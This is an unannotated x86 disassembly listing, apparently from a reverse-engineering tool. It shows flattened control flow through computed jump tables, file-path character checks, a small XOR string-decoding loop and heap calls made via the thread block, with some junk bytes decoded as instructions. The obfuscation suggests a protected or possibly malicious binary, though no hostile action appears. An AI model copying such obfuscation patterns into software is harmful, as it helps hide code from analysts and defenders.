mov dword [esp + 0x33c], eax
mov eax, dword [esp + 0x340]
mov ecx, dword [esp + 0x33c]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040dd20
mov dword [esp + 0x34c], 1
mov eax, dword [esp + 0x350]
mov ecx, dword [esp + 0x34c]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x29c]
mov ecx, dword [esp + 0x2a0]
mov eax, dword [ecx + eax*4]
jmp eax
mov edi, dword [esp + 0xc]
mov word [edi], 0x5c
add edi, 2
add ebp, 2
mov eax, dword [esp + 0x334]
mov ecx, dword [esp + 0x338]
mov eax, dword [ecx + eax*4]
mov esi, ebp
mov ebx, dword [esp + 0x3c4]
jmp eax
sahf
shl dword [ebx], 0x3e
mov eax, dword [esp + 0x84]
mov ecx, dword [esp + 0x88]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp + 8], ebx
mov dword [esp + 4], ebp
mov edi, dword [esp + 0xc]
mov dword [esp], edi
call fcn.0041caa0
lea edi, [edi + esi*2]
lea esi, [ebp + esi*2]
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x140]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esp + 0x3c4]
jmp eax
call fcn.0040dd20
mov dword [esp + 0x2f4], 1
mov eax, dword [esp + 0x2f8]
mov ecx, dword [esp + 0x2f4]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, ebx
add eax, 2
mov ecx, dword [esp + 0x104]
mov edx, dword [esp + 0x108]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ax, word [ebp]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [esp + 0x324], ecx
mov eax, dword [esp + 0x328]
mov ecx, dword [esp + 0x324]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040dd20
mov edi, ebp
add edi, 2
mov dword [esp + 0x234], 0
mov eax, dword [esp + 0x238]
mov ecx, dword [esp + 0x234]
mov eax, dword [eax + ecx*4]
jmp eax
mov word [edi], 0
mov eax, dword [esp + 0x134]
mov ecx, dword [esp + 0x138]
mov eax, dword [ecx + eax*4]
mov ebp, esi
jmp eax
call fcn.0040dd20
xor eax, eax
mov ecx, esi
sub ecx, 0x3a
sete cl
mov dword [esp + 0xe4], 1
mov edx, dword [esp + 0xe8]
mov edi, dword [esp + 0xe4]
mov edx, dword [edx + edi*4]
jmp edx
call fcn.0040dd20
mov dword [esp + 0x31c], 0
mov eax, dword [esp + 0x320]
mov ecx, dword [esp + 0x31c]
mov eax, dword [eax + ecx*4]
jmp eax
push dword [esp + 0x18]
push 0
push dword [ecx + 0x18]
call dword [0x4578ac]
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
int3
add esp, 8
ret
mov dword [esp], 0x61666754
mov word [esp + 4], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xe9
xor dl, byte [esp + ecx]
add dl, 0x73
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 6
jne 0x43db20
mov ecx, dword [esp]
mov ecx, dword fs:[ecx]
push eax
push 0
push dword [ecx + 0x18]
call dword [0x4578b4]
add esp, 8
ret
int3